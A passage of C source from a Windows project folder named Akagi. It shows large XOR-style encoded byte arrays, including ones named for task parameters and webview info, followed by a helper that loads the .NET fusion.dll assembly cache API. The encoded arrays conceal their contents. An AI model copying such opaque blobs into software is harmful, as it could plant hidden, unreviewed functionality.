	0x1C, 0xE0, 0xA4, 0x83, 0x54, 0x0E, 0x78, 0x3A, 0x00, 0xE8, 0xA5, 0xA3, 0x2F, 0x8C, 0x76, 0x30,
	0x06, 0xC2, 0xF7, 0x09, 0x2C, 0x24, 0x74, 0x90, 0x64, 0x40, 0xF4, 0x03, 0x75, 0x0E, 0x7D, 0x38,
	0x04, 0xE0, 0xA8, 0x83, 0x68, 0x0E, 0x73, 0x3A, 0x4A, 0xE8, 0x81, 0xA3, 0x12, 0x8C, 0x29, 0x30,
	0x51, 0xC2, 0xC9, 0x09, 0x2E, 0x24, 0x67, 0x90, 0x64, 0x40, 0xF4, 0x03, 0x75, 0x0E, 0x7D, 0x38,
	0x04, 0xE0, 0xA8, 0x83, 0x68, 0x0E, 0x73, 0x3A, 0x4A, 0xE8, 0xED, 0xA3, 0x11, 0x8C, 0x79, 0x30,
	0x08, 0xC2, 0xF0, 0x09, 0x46, 0x24, 0x21, 0x90, 0x4D, 0x40, 0xE4, 0x03, 0x68, 0x0E, 0x69, 0x38,
	0x04, 0xE0, 0xFF, 0x83, 0x57, 0x0E, 0x49, 0x3A, 0x45, 0xE8, 0x99, 0xA3, 0x7A, 0x8C, 0x37, 0x30,
	0x36, 0xC2, 0xE5, 0x09, 0x7B, 0x24, 0x3C, 0x90, 0x74, 0x40, 0xE8, 0x03, 0x6A, 0x0E, 0x79, 0x38,
	0x1F, 0xE0, 0xB4, 0x83, 0x73, 0x0E, 0x23, 0x3A, 0x48, 0xE8, 0x82, 0xA3, 0x32, 0x8C, 0x77, 0x30,
	0x11, 0xC2, 0xCB, 0x09, 0x7C, 0x24, 0x01, 0x90, 0x44, 0x40, 0xED, 0x03, 0x62, 0x0E, 0x59, 0x38,
	0x1E, 0xE0, 0xA5, 0x83, 0x39, 0x0E, 0x69, 0x3A, 0x06, 0xE8, 0xA4, 0xA3, 0x23, 0x8C, 0x24, 0x30,
	0x4E, 0xC2, 0xD7, 0x09, 0x66, 0x24, 0x27, 0x90, 0x50, 0x40, 0xCE, 0x03, 0x69, 0x0E, 0x55, 0x38,
	0x14, 0xE0, 0xAD, 0x83, 0x62, 0x0E, 0x58, 0x3A, 0x1A, 0xE8, 0xB5, 0xA3, 0x78, 0x8C, 0x24, 0x30,
	0x33, 0xC2, 0xE1, 0x09, 0x61, 0x24, 0x3C, 0x90, 0x41, 0x40, 0xF3, 0x03, 0x73, 0x0E, 0x53, 0x38,
	0x1E, 0xE0, 0x88, 0x83, 0x63, 0x0E, 0x71, 0x3A, 0x11, 0xE8, 0xEF, 0xA3, 0x20, 0x8C, 0x79, 0x30,
	0x0D, 0xC2, 0xF7, 0x09, 0x77, 0x24, 0x74, 0x90, 0x0F, 0x40, 0xD3, 0x03, 0x62, 0x0E, 0x6F, 0x38,
	0x04, 0xE0, 0xA0, 0x83, 0x75, 0x0E, 0x69, 0x3A, 0x3B, 0xE8, 0xBF, 0xA3, 0x0F, 0x8C, 0x7C, 0x30,
	0x0D, 0xC2, 0xE1, 0x09, 0x2C, 0x24, 0x74, 0x90, 0x0F, 0x40, 0xC8, 0x03, 0x63, 0x0E, 0x70, 0x38,
	0x15, 0xE0, 0x92, 0x83, 0x62, 0x0E, 0x69, 0x3A, 0x00, 0xE8, 0xB8, 0xA3, 0x28, 0x8C, 0x7F, 0x30,
	0x12, 0xC2, 0xBA, 0x09, 0x2E, 0x24, 0x09, 0x90, 0x4C, 0x40, 0xED, 0x03, 0x68, 0x0E, 0x6B, 0x38,
	0x23, 0xE0, 0xB5, 0x83, 0x66, 0x0E, 0x6F, 0x3A, 0x00, 0xE8, 0x9E, 0xA3, 0x28, 0x8C, 0x5C, 0x30,
	0x04, 0xC2, 0xE9, 0x09, 0x73, 0x24, 0x26, 0x90, 0x44, 0x40, 0xBF, 0x03, 0x73, 0x0E, 0x6E, 0x38,
	0x05, 0xE0, 0xA4, 0x83, 0x3B, 0x0E, 0x32, 0x3A, 0x35, 0xE8, 0xBD, 0xA3, 0x2A, 0x8C, 0x77, 0x30,
	0x16, 0xC2, 0xD7, 0x09, 0x66, 0x24, 0x29, 0x90, 0x52, 0x40, 0xF5, 0x03, 0x48, 0x0E, 0x72, 0x38,
	0x34, 0xE0, 0xA4, 0x83, 0x6A, 0x0E, 0x7C, 0x3A, 0x1A, 0xE8, 0xB5, 0xA3, 0x78, 0x8C, 0x24, 0x30,
	0x24, 0xC2, 0xEA, 0x09, 0x73, 0x24, 0x2A, 0x90, 0x4C, 0x40, 0xE4, 0x03, 0x63, 0x0E, 0x22, 0x38,
	0x04, 0xE0, 0xB3, 0x83, 0x72, 0x0E, 0x78, 0x3A, 0x48, 0xE8, 0xFE, 0xA3, 0x03, 0x8C, 0x76, 0x30,
	0x00, 0xC2, 0xE6, 0x09, 0x7E, 0x24, 0x2D, 0x90, 0x44, 0x40, 0xBF, 0x03, 0x3B, 0x0E, 0x54, 0x38,
	0x19, 0xE0, 0xA5, 0x83, 0x63, 0x0E, 0x78, 0x3A, 0x1A, 0xE8, 0xEF, 0xA3, 0x20, 0x8C, 0x79, 0x30,
	0x0D, 0xC2, 0xF7, 0x09, 0x77, 0x24, 0x74, 0x90, 0x0F, 0x40, 0xC9, 0x03, 0x6E, 0x0E, 0x78, 0x38,
	0x14, 0xE0, 0xA4, 0x83, 0x69, 0x0E, 0x23, 0x3A, 0x48, 0xE8, 0x83, 0xA3, 0x33, 0x8C, 0x76, 0x30,
	0x2E, 0xC2, 0xEA, 0x09, 0x7E, 0x24, 0x31, 0x90, 0x69, 0x40, 0xE7, 0x03, 0x4E, 0x0E, 0x78, 0x38,
	0x1C, 0xE0, 0xA4, 0x83, 0x39, 0x0E, 0x7B, 0x3A, 0x15, 0xE8, 0xBD, 0xA3, 0x35, 0x8C, 0x7D, 0x30,
	0x5D, 0xC2, 0xAB, 0x09, 0x40, 0x24, 0x3D, 0x90, 0x4E, 0x40, 0xCE, 0x03, 0x69, 0x0E, 0x70, 0x38,
	0x09, 0xE0, 0x88, 0x83, 0x61, 0x0E, 0x54, 0x3A, 0x10, 0xE8, 0xBD, 0xA3, 0x23, 0x8C, 0x26, 0x30,
	0x5D, 0xC2, 0xD1, 0x09, 0x61, 0x24, 0x2D, 0x90, 0x75, 0x40, 0xEF, 0x03, 0x6E, 0x0E, 0x7A, 0x38,
	0x19, 0xE0, 0xA4, 0x83, 0x63, 0x0E, 0x4E, 0x3A, 0x17, 0xE8, 0xB9, 0xA3, 0x23, 0x8C, 0x7C, 0x30,
	0x14, 0xC2, 0xE8, 0x09, 0x7B, 0x24, 0x26, 0x90, 0x47, 0x40, 0xC4, 0x03, 0x69, 0x0E, 0x7B, 0x38,
	0x19, 0xE0, 0xAF, 0x83, 0x62, 0x0E, 0x23, 0x3A, 0x12, 0xE8, 0xB0, 0xA3, 0x2A, 0x8C, 0x6B, 0x30,
	0x04, 0xC2, 0xB8, 0x09, 0x3D, 0x24, 0x1D, 0x90, 0x53, 0x40, 0xE4, 0x03, 0x52, 0x0E, 0x72, 0x38,
	0x19, 0xE0, 0xA7, 0x83, 0x6E, 0x0E, 0x78, 0x3A, 0x10, 0xE8, 0x82, 0xA3, 0x25, 0x8C, 0x70, 0x30,
	0x04, 0xC2, 0xE0, 0x09, 0x67, 0x24, 0x24, 0x90, 0x49, 0x40, 0xEF, 0x03, 0x60, 0x0E, 0x59, 0x38,
	0x1E, 0xE0, 0xA6, 0x83, 0x6E, 0x0E, 0x73, 0x3A, 0x11, 0xE8, 0xEF, 0xA3, 0x7A, 0x8C, 0x4F, 0x30,
	0x00, 0xC2, 0xEF, 0x09, 0x77, 0x24, 0x1C, 0x90, 0x4F, 0x40, 0xD3, 0x03, 0x72, 0x0E, 0x72, 0x38,
	0x4E, 0xE0, 0xA7, 0x83, 0x66, 0x0E, 0x71, 0x3A, 0x07, 0xE8, 0xB4, 0xA3, 0x7A, 0x8C, 0x37, 0x30,
	0x36, 0xC2, 0xE5, 0x09, 0x79, 0x24, 0x2D, 0x90, 0x74, 0x40, 0xEE, 0x03, 0x55, 0x0E, 0x69, 0x38,
	0x1E, 0xE0, 0xFF, 0x83, 0x3B, 0x0E, 0x58, 0x3A, 0x0C, 0xE8, 0xB4, 0xA3, 0x25, 0x8C, 0x6D, 0x30,
	0x15, 0xC2, 0xED, 0x09, 0x7D, 0x24, 0x26, 0x90, 0x74, 0x40, 0xE8, 0x03, 0x6A, 0x0E, 0x79, 0x38,
	0x3C, 0xE0, 0xA8, 0x83, 0x6A, 0x0E, 0x74, 0x3A, 0x00, 0xE8, 0xEF, 0xA3, 0x16, 0x8C, 0x4C, 0x30,
	0x56, 0xC2, 0xB6, 0x09, 0x5A, 0x24, 0x74, 0x90, 0x0F, 0x40, 0xC4, 0x03, 0x7F, 0x0E, 0x79, 0x38,
	0x13, 0xE0, 0xB4, 0x83, 0x73, 0x0E, 0x74, 0x3A, 0x1B, 0xE8, 0xBF, 0xA3, 0x12, 0x8C, 0x71, 0x30,
	0x0C, 0xC2, 0xE1, 0x09, 0x5E, 0x24, 0x21, 0x90, 0x4D, 0x40, 0xE8, 0x03, 0x73, 0x0E, 0x22, 0x38,
	0x4C, 0xE0, 0x91, 0x83, 0x75, 0x0E, 0x74, 0x3A, 0x1B, 0xE8, 0xA3, 0xA3, 0x2F, 0x8C, 0x6C, 0x30,
	0x18, 0xC2, 0xBA, 0x09, 0x25, 0x24, 0x74, 0x90, 0x0F, 0x40, 0xD1, 0x03, 0x75, 0x0E, 0x75, 0x38,
	0x1F, 0xE0, 0xB3, 0x83, 0x6E, 0x0E, 0x69, 0x3A, 0x0D, 0xE8, 0xEF, 0xA3, 0x7A, 0x8C, 0x37, 0x30,
	0x32, 0xC2, 0xE1, 0x09, 0x66, 0x24, 0x3C, 0x90, 0x49, 0x40, 0xEF, 0x03, 0x60, 0x0E, 0x6F, 0x38,
	0x4E, 0xE0, 0xFD, 0x83, 0x46, 0x0E, 0x7E, 0x3A, 0x00, 0xE8, 0xB8, 0xA3, 0x29, 0x8C, 0x76, 0x30,
	0x12, 0xC2, 0xA4, 0x09, 0x51, 0x24, 0x27, 0x90, 0x4E, 0x40, 0xF5, 0x03, 0x62, 0x0E, 0x64, 0x38,
	0x04, 0xE0, 0xFC, 0x83, 0x25, 0x0E, 0x5C, 0x3A, 0x01, 0xE8, 0xA5, 0xA3, 0x2E, 0x8C, 0x77, 0x30,
	0x13, 0xC2, 0xA6, 0x09, 0x2C, 0x24, 0x74, 0x90, 0x65, 0x40, 0xF9, 0x03, 0x62, 0x0E, 0x7F, 0x38,
	0x4E, 0xE0, 0xFD, 0x83, 0x44, 0x0E, 0x72, 0x3A, 0x19, 0xE8, 0xBC, 0xA3, 0x27, 0x8C, 0x76, 0x30,
	0x05, 0xC2, 0xBA, 0x09
};

static const unsigned char g_encodedTaskParamEnd[69] = {
	0x5D, 0xC2, 0xAB, 0x09, 0x51, 0x24, 0x27, 0x90, 0x4D, 0x40, 0xEC, 0x03, 0x66, 0x0E, 0x72, 0x38,
	0x14, 0xE0, 0xFF, 0x83, 0x3B, 0x0E, 0x32, 0x3A, 0x31, 0xE8, 0xA9, 0xA3, 0x23, 0x8C, 0x7B, 0x30,
	0x5F, 0xC2, 0xB8, 0x09, 0x3D, 0x24, 0x09, 0x90, 0x43, 0x40, 0xF5, 0x03, 0x6E, 0x0E, 0x73, 0x38,
	0x1E, 0xE0, 0xB2, 0x83, 0x39, 0x0E, 0x21, 0x3A, 0x5B, 0xE8, 0x85, 0xA3, 0x27, 0x8C, 0x6B, 0x30,
	0x0A, 0xC2, 0xBA, 0x09, 0x12
};

static const unsigned char g_webviewvsinfo[1224] = {
	0xBB, 0xE2, 0xF9, 0x9B, 0x37, 0x6E, 0x8A, 0xB8, 0x22, 0xE2, 0x9A, 0x8B, 0x40, 0x2C, 0x1D, 0xB0,
	0x33, 0xC2, 0xD6, 0x0B, 0x5E, 0x2E, 0x13, 0xB9, 0x3D, 0xE6, 0x92, 0x9B, 0x7E, 0x6E, 0x92, 0xB9,
	0x35, 0xE6, 0x82, 0x9B, 0x37, 0x6E, 0xDC, 0xB8, 0xCC, 0xE6, 0x2A, 0x75, 0x16, 0x2C, 0x59, 0xB0,
	0x61, 0xC2, 0x84, 0x0B, 0x17, 0x2E, 0x5C, 0xB9, 0x73, 0xE6, 0xCC, 0x9B, 0x37, 0x6E, 0xDC, 0xB9,
	0x4C, 0xE6, 0xCD, 0x9B, 0x37, 0x6E, 0xDC, 0xB8, 0x75, 0xE2, 0xC5, 0x8B, 0x14, 0x2C, 0x58, 0xB0,
	0x61, 0xC2, 0x85, 0x0B, 0x17, 0x2E, 0x5C, 0xB9, 0x73, 0xE6, 0xCD, 0x9B, 0x1F, 0x6A, 0xDC, 0xB9,
	0x73, 0xE6, 0x9E, 0x9B, 0x43, 0x6E, 0xAE, 0xB8, 0x18, 0xE2, 0xAB, 0x8B, 0x71, 0x2C, 0x1E, 0xB0,
	0x08, 0xC2, 0xE9, 0x0B, 0x72, 0x2E, 0x15, 0xB9, 0x1D, 0xE6, 0xAB, 0x9B, 0x58, 0x6E, 0xDC, 0xB9,
	0x77, 0xE2, 0xCD, 0x9B, 0x37, 0x6E, 0xEC, 0xB8, 0x45, 0xE2, 0xF5, 0x8B, 0x2F, 0x2C, 0x68, 0xB0,
	0x55, 0xC2, 0xC7, 0x0B, 0x27, 0x2E, 0x5C, 0xB9, 0x3F, 0xE6, 0xE1, 0x9B, 0x36, 0x6E, 0x9F, 0xB9,
	0x1C, 0xE6, 0xA0, 0x9B, 0x47, 0x6E, 0xBD, 0xB8, 0x1F, 0xE2, 0xBC, 0x8B, 0x58, 0x2C, 0x39, 0xB0,
	0x0C, 0xC2, 0xE0, 0x0B, 0x17, 0x2E, 0x5C, 0xB9, 0x3E, 0xE6, 0xA4, 0x9B, 0x54, 0x6E, 0xAE, 0xB9,
	0x1C, 0xE6, 0xBE, 0x9B, 0x58, 0x6E, 0xBA, 0xB8, 0x05, 0xE2, 0xE5, 0x8B, 0x55, 0x2C, 0x37, 0xB0,
	0x13, 0xC2, 0xF5, 0x0B, 0x78, 0x2E, 0x2E, 0xB9, 0x12, 0xE6, 0xB9, 0x9B, 0x5E, 0x6E, 0xB3, 0xB9,
	0x1D, 0xE6, 0xCD, 0x9B, 0xBF, 0x6E, 0x82, 0xB8, 0x70, 0xE2, 0x83, 0x8B, 0x7F, 0x2C, 0x34, 0xB0,
	0x04, 0xC2, 0xC1, 0x0B, 0x72, 0x2E, 0x2F, 0xB9, 0x10, 0xE6, 0xBF, 0x9B, 0x5E, 0x6E, 0xAC, 0xB9,
	0x07, 0xE6, 0xA4, 0x9B, 0x58, 0x6E, 0xB2, 0xB8, 0x71, 0xE2, 0xC5, 0x8B, 0x5B, 0x2C, 0x31, 0xB0,
	0x02, 0xC2, 0xF7, 0x0B, 0x78, 0x2E, 0x2F, 0xB9, 0x1C, 0xE6, 0xAB, 0x9B, 0x43, 0x6E, 0xFC, 0xB9,
	0x36, 0xE6, 0xA9, 0x9B, 0x50, 0x6E, 0xB9, 0xB8, 0x51, 0xE2, 0x80, 0x8B, 0x7B, 0x2C, 0x3A, 0xB0,
	0x04, 0xC2, 0xE1, 0x0B, 0x73, 0x2E, 0x39, 0xB9, 0x17, 0xE6, 0xED, 0x9B, 0x75, 0x6E, 0xAE, 0xB9,
	0x1C, 0xE6, 0xBA, 0x9B, 0x44, 0x6E, 0xB9, 0xB8, 0x03, 0xE2, 0xE5, 0x8B, 0x41, 0x2C, 0x3D, 0xB0,
	0x03, 0xC2, 0xD3, 0x0B, 0x7E, 0x2E, 0x39, 0xB9, 0x04, 0xE6, 0xED, 0x9B, 0x74, 0x6E, 0xB0, 0xB9,
	0x1A, 0xE6, 0xA8, 0x9B, 0x59, 0x6E, 0xA8, 0xB8, 0x71, 0xE2, 0xC5, 0x8B, 0x26, 0x2C, 0x48, 0xB0,
	0x60, 0xC2, 0xC3, 0x0B, 0x7E, 0x2E, 0x30, 0xB9, 0x16, 0xE6, 0x9B, 0x9B, 0x52, 0x6E, 0xAE, 0xB9,
	0x00, 0xE6, 0xA4, 0x9B, 0x58, 0x6E, 0xB2, 0xB8, 0x71, 0xE2, 0xC5, 0x8B, 0x27, 0x2C, 0x76, 0xB0,
	0x51, 0xC2, 0xAB, 0x0B, 0x27, 0x2E, 0x72, 0xB9, 0x43, 0xE6, 0xCD, 0x9B, 0x6F, 0x6E, 0xEA, 0xB9,
	0x72, 0xE6, 0x84, 0x9B, 0x59, 0x6E, 0xA8, 0xB8, 0x14, 0xE2, 0xB7, 0x8B, 0x78, 0x2C, 0x39, 0xB0,
	0x0D, 0xC2, 0xCB, 0x0B, 0x76, 0x2E, 0x31, 0xB9, 0x16, 0xE6, 0xCD, 0x9B, 0x72, 0x6E, 0xB1, 0xB9,
	0x11, 0xE6, 0xA8, 0x9B, 0x53, 0x6E, 0xB8, 0xB8, 0x14, 0xE2, 0xA1, 0x8B, 0x54, 0x2C, 0x2A, 0xB0,
	0x0E, 0xC2, 0xF2, 0x0B, 0x64, 0x2E, 0x39, 0xB9, 0x01, 0xE6, 0x9A, 0x9B, 0x52, 0x6E, 0xBE, 0xB9,
	0x25, 0xE6, 0xA4, 0x9B, 0x52, 0x6E, 0xAB, 0xB8, 0x5F, 0xE2, 0xA1, 0x8B, 0x7A, 0x2C, 0x34, 0xB0,
	0x61, 0xC2, 0x85, 0x0B, 0x87, 0x2E, 0x30, 0xB9, 0x72, 0xE6, 0x81, 0x9B, 0x52, 0x6E, 0xBB, 0xB9,
	0x12, 0xE6, 0xA1, 0x9B, 0x74, 0x6E, 0xB3, 0xB8, 0x01, 0xE2, 0xBC, 0x8B, 0x64, 0x2C, 0x31, 0xB0,
	0x06, 0xC2, 0xED, 0x0B, 0x63, 0x2E, 0x5C, 0xB9, 0x30, 0xE6, 0xA2, 0x9B, 0x47, 0x6E, 0xA5, 0xB9,
	0x01, 0xE6, 0xA4, 0x9B, 0x50, 0x6E, 0xB4, 0xB8, 0x05, 0xE2, 0xE5, 0x8B, 0x5B, 0x2C, 0x31, 0xB0,
	0x02, 0xC2, 0xF7, 0x0B, 0x78, 0x2E, 0x2F, 0xB9, 0x1C, 0xE6, 0xAB, 0x9B, 0x43, 0x6E, 0xFC, 0xB9,
	0x30, 0xE6, 0xA2, 0x9B, 0x45, 0x6E, 0xAC, 0xB8, 0x1E, 0xE2, 0xB7, 0x8B, 0x77, 0x2C, 0x2C, 0xB0,
	0x08, 0xC2, 0xEA, 0x0B, 0x79, 0x2E, 0x72, 0xB9, 0x53, 0xE6, 0x8C, 0x9B, 0x5B, 0x6E, 0xB0, 0xB9,
	0x53, 0xE6, 0xBF, 0x9B, 0x5E, 0x6E, 0xBB, 0xB8, 0x19, 0xE2, 0xB1, 0x8B, 0x65, 0x2C, 0x78, 0xB0,
	0x13, 0xC2, 0xE0, 0x0B, 0x64, 0x2E, 0x39, 0xB9, 0x01, 0xE6, 0xBB, 0x9B, 0x52, 0x6E, 0xB8, 0xB9,
	0x5D, 0xE6, 0xCD, 0x9B, 0x57, 0x6E, 0xEA, 0xB8, 0x70, 0xE2, 0x8A, 0x8B, 0x64, 0x2C, 0x31, 0xB0,
	0x06, 0xC2, 0xEC, 0x0B, 0x79, 0x2E, 0x3D, 0xB9, 0x1F, 0xE6, 0x8B, 0x9B, 0x5E, 0x6E, 0xB0, 0xB9,
	0x16, 0xE6, 0xA3, 0x9B, 0x56, 0x6E, 0xB1, 0xB8, 0x14, 0xE2, 0xC5, 0x8B, 0x53, 0x2C, 0x35, 0xB0,
	0x03, 0xC2, 0xE0, 0x0B, 0x73, 0x2E, 0x38, 0xB9, 0x16, 0xE6, 0xA9, 0x9B, 0x75, 0x6E, 0xAE, 0xB9,
	0x1C, 0xE6, 0xBA, 0x9B, 0x44, 0x6E, 0xB9, 0xB8, 0x03, 0xE2, 0x92, 0x8B, 0x73, 0x2C, 0x3A, 0xB0,
	0x37, 0xC2, 0xEC, 0x0B, 0x72, 0x2E, 0x2B, 0xB9, 0x5D, 0xE6, 0xA9, 0x9B, 0x5B, 0x6E, 0xB0, 0xB9,
	0x73, 0xE6, 0xCD, 0x9B, 0xB7, 0x6E, 0x82, 0xB8, 0x70, 0xE2, 0x95, 0x8B, 0x64, 0x2C, 0x37, 0xB0,
	0x05, 0xC2, 0xF0, 0x0B, 0x74, 0x2E, 0x28, 0xB9, 0x3D, 0xE6, 0xAC, 0x9B, 0x5A, 0x6E, 0xB9, 0xB9,
	0x73, 0xE6, 0xCD, 0x9B, 0x7A, 0x6E, 0xB5, 0xB8, 0x12, 0xE2, 0xB7, 0x8B, 0x79, 0x2C, 0x2B, 0xB0,
	0x0E, 0xC2, 0xE3, 0x0B, 0x63, 0x2E, 0x7C, 0xB9, 0x36, 0xE6, 0xA9, 0x9B, 0x50, 0x6E, 0xB9, 0xB9,
	0x53, 0xE6, 0x88, 0x9B, 0x5A, 0x6E, 0xBE, 0xB8, 0x14, 0xE2, 0xA1, 0x8B, 0x72, 0x2C, 0x3D, 0xB0,
	0x05, 0xC2, 0xA5, 0x0B, 0x55, 0x2E, 0x2E, 0xB9, 0x1C, 0xE6, 0xBA, 0x9B, 0x44, 0x6E, 0xB9, 0xB9,
	0x01, 0xE6, 0xED, 0x9B, 0x60, 0x6E, 0xB9, 0xB8, 0x13, 0xE2, 0x93, 0x8B, 0x7F, 0x2C, 0x3D, 0xB0,
	0x16, 0xC2, 0xA5, 0x0B, 0x54, 0x2E, 0x30, 0xB9, 0x1A, 0xE6, 0xA8, 0x9B, 0x59, 0x6E, 0xA8, 0xB9,
	0x73, 0xE6, 0xCD, 0x9B, 0x03, 0x6E, 0xCC, 0xB8, 0x70, 0xE2, 0x95, 0x8B, 0x64, 0x2C, 0x37, 0xB0,
	0x05, 0xC2, 0xF0, 0x0B, 0x74, 0x2E, 0x28, 0xB9, 0x25, 0xE6, 0xA8, 0x9B, 0x45, 0x6E, 0xAF, 0xB9,
	0x1A, 0xE6, 0xA2, 0x9B, 0x59, 0x6E, 0xDC, 0xB8, 0x40, 0xE2, 0xEB, 0x8B, 0x26, 0x2C, 0x76, 0xB0,
	0x51, 0xC2, 0xAB, 0x0B, 0x27, 0x2E, 0x5C, 0xB9, 0x4F, 0xE6, 0xD9, 0x9B, 0x36, 0x6E, 0x9F, 0xB9,
	0x1C, 0xE6, 0xA0, 0x9B, 0x47, 0x6E, 0xBD, 0xB8, 0x1F, 0xE2, 0xBC, 0x8B, 0x45, 0x2C, 0x30, 0xB0,
	0x0E, 0xC2, 0xF7, 0x0B, 0x63, 0x2E, 0x12, 0xB9, 0x12, 0xE6, 0xA0, 0x9B, 0x52, 0x6E, 0xDC, 0xB9,
	0x3E, 0xE6, 0xA4, 0x9B, 0x54, 0x6E, 0xAE, 0xB8, 0x1E, 0xE2, 0xB6, 0x8B, 0x79, 0x2C, 0x3E, 0xB0,
	0x15, 0xC2, 0x85, 0x0B, 0x9F, 0x2E, 0x02, 0xB9, 0x72, 0xE6, 0x9D, 0x9B, 0x45, 0x6E, 0xB3, 0xB9,
	0x17, 0xE6, 0xB8, 0x9B, 0x54, 0x6E, 0xA8, 0xB8, 0x22, 0xE2, 0xAD, 0x8B, 0x79, 0x2C, 0x2A, 0xB0,
	0x15, 0xC2, 0xCB, 0x0B, 0x76, 0x2E, 0x31, 0xB9, 0x16, 0xE6, 0xCD, 0x9B, 0x7A, 0x6E, 0xB5, 0xB9,
	0x10, 0xE6, 0xBF, 0x9B, 0x58, 0x6E, 0xAF, 0xB8, 0x1E, 0xE2, 0xA3, 0x8B, 0x62, 0x2C, 0x78, 0xB0,
	0x24, 0xC2, 0xE1, 0x0B, 0x70, 0x2E, 0x39, 0xB9, 0x53, 0xE6, 0x88, 0x9B, 0x5A, 0x6E, 0xBE, 0xB9,
	0x16, 0xE6, 0xA9, 0x9B, 0x53, 0x6E, 0xB9, 0xB8, 0x15, 0xE2, 0xE5, 0x8B, 0x54, 0x2C, 0x2A, 0xB0,
	0x0E, 0xC2, 0xF2, 0x0B, 0x64, 0x2E, 0x39, 0xB9, 0x01, 0xE6, 0xED, 0x9B, 0x60, 0x6E, 0xB9, 0xB9,
	0x11, 0xE6, 0x9B, 0x9B, 0x5E, 0x6E, 0xB9, 0xB8, 0x06, 0xE2, 0xE5, 0x8B, 0x55, 0x2C, 0x34, 0xB0,
	0x08, 0xC2, 0xE0, 0x0B, 0x79, 0x2E, 0x28, 0xB9, 0x73, 0xE6, 0xCD, 0x9B, 0x1F, 0x6E, 0xD8, 0xB9,
	0x72, 0xE6, 0x82, 0x9B, 0x51, 0x6E, 0xBA, 0xB8, 0x18, 0xE2, 0xA6, 0x8B, 0x7F, 0x2C, 0x39, 0xB0,
	0x0D, 0xC2, 0xA5, 0x0B, 0x55, 0x2E, 0x29, 0xB9, 0x1A, 0xE6, 0xA1, 0x9B, 0x53, 0x6E, 0xDC, 0xB9,
	0x42, 0xE6, 0xCD, 0x9B, 0x73, 0x6E, 0xDC, 0xB8, 0x71, 0xE2, 0x93, 0x8B, 0x77, 0x2C, 0x2A, 0xB0,
	0x27, 0xC2, 0xEC, 0x0B, 0x7B, 0x2E, 0x39, 0xB9, 0x3A, 0xE6, 0xA3, 0x9B, 0x51, 0x6E, 0xB3, 0xB9,
	0x73, 0xE6, 0xCD, 0x9B, 0x13, 0x6E, 0xD8, 0xB8, 0x71, 0xE2, 0x91, 0x8B, 0x64, 0x2C, 0x39, 0xB0,
	0x0F, 0xC2, 0xF6, 0x0B, 0x7B, 0x2E, 0x3D, 0xB9, 0x07, 0xE6, 0xA4, 0x9B, 0x58, 0x6E, 0xB2, 0xB9,
	0x73, 0xE6, 0xCD, 0x9B, 0x3E, 0x6A, 0x6C, 0xBC
};


================================================
FILE: Source/Akagi/fusutil.c
================================================
/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2020 - 2026
*
*  TITLE:       FUSUTIL.C
*
*  VERSION:     3.69
*
*  DATE:        12 Feb 2026
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/

#include "global.h"

/*
* fusUtilInitFusion
*
* Purpose:
*
* Load .NET Assembly Manager dll and remember function pointers.
*
*/
BOOLEAN fusUtilInitFusion(
    _In_ DWORD dwVersion
)
{
    HMODULE hFusion;
    LPCWSTR lpFusionDir;
    pfnCreateAssemblyCache CreateAssemblyCache;
    pfnCreateAssemblyEnum CreateAssemblyEnum;

    WCHAR szBuffer[MAX_PATH * 2];

    if (g_ctx->FusionContext.Initialized)
        return TRUE;

    if (dwVersion != 2 && dwVersion != 4)
        return FALSE;

    //
    // Build path to assembly manager dll
    //
    _strcpy(szBuffer, g_ctx->szSystemRoot);
    _strcat(szBuffer, MSNETFRAMEWORK_DIR);

#ifdef _WIN64
    _strcat(szBuffer, TEXT("64"));
#endif

    if (dwVersion == 2)
        lpFusionDir = NET2_DIR;
    else
        lpFusionDir = NET4_DIR;

    supConcatenatePaths(szBuffer, lpFusionDir, ARRAYSIZE(szBuffer));
    supConcatenatePaths(szBuffer, TEXT("fusion.dll"), ARRAYSIZE(szBuffer));

    hFusion = LoadLibraryEx(szBuffer, NULL, 0);
    if (hFusion == NULL)
        return FALSE;

    CreateAssemblyCache = (pfnCreateAssemblyCache)GetProcAddress(hFusion, "CreateAssemblyCache");
    CreateAssemblyEnum = (pfnCreateAssemblyEnum)GetProcAddress(hFusion, "CreateAssemblyEnum");
    if (CreateAssemblyCache == NULL ||
        CreateAssemblyEnum == NULL)
    {
        FreeLibrary(hFusion);
        return FALSE;
    }

    g_ctx->FusionContext.hFusion = hFusion;
    g_ctx->FusionContext.CreateAssemblyCache = CreateAssemblyCache;
    g_ctx->FusionContext.CreateAssemblyEnum = CreateAssemblyEnum;
    g_ctx->FusionContext.Initialized = TRUE;

    return TRUE;
}

/*
* fusUtilBinToUnicodeHex
*
* Purpose:
*
* Bin to Hex special edition.
*
*/
VOID fusUtilBinToUnicodeHex(
    _In_ const BYTE* pSrc,
    _In_ UINT cSrc,
    _Out_cap_(2 * cSrc + 1) LPWSTR pDst)
{
    UINT x;
    UINT y;

#define TOHEX(a) (WCHAR)((a)>=10 ? L'a'+(a)-10 : L'0'+(a))

    for (x = 0, y = 0; x < cSrc; ++x)
    {
        UINT v;
        v = pSrc[x] >> 4;
        pDst[y++] = TOHEX(v);
        v = pSrc[x] & 0x0f;
        pDst[y++] = TOHEX(v);
    }
    pDst[y] = L'\0';
}

/*
* fusUtilGetAssemblyName
*
* Purpose:
*
* Return assembly name.
*
* Note: Use supHeapFree to release lpAssemblyName allocated memory.
*
*/
HRESULT fusUtilGetAssemblyName(
    _In_ IAssemblyName* pInterface,
    _Inout_ LPWSTR* lpName,
    _Out_opt_ PSIZE_T pcchName,
    _Inout_opt_ LPWSTR* lpDisplayName,
    _Out_opt_ PSIZE_T pcchDisplayName
)
{
    DWORD cchName = 0;
    HRESULT hr;
    LPWSTR assemblyName = NULL, displayName = NULL;

    do {

        if (pcchName) *pcchName = 0;
        if (pcchDisplayName) *pcchDisplayName = 0;

        hr = pInterface->lpVtbl->GetName(pInterface, &cchName, NULL);
        if (hr != HRESULT_FROM_WIN32(ERROR_INSUFFICIENT_BUFFER))
            break;

        assemblyName = (LPWSTR)supHeapAlloc((cchName * sizeof(WCHAR)) + sizeof(UNICODE_NULL));
        if (assemblyName)
            hr = pInterface->lpVtbl->GetName(pInterface, &cchName, (LPOLESTR)assemblyName);
        else
            hr = E_OUTOFMEMORY;

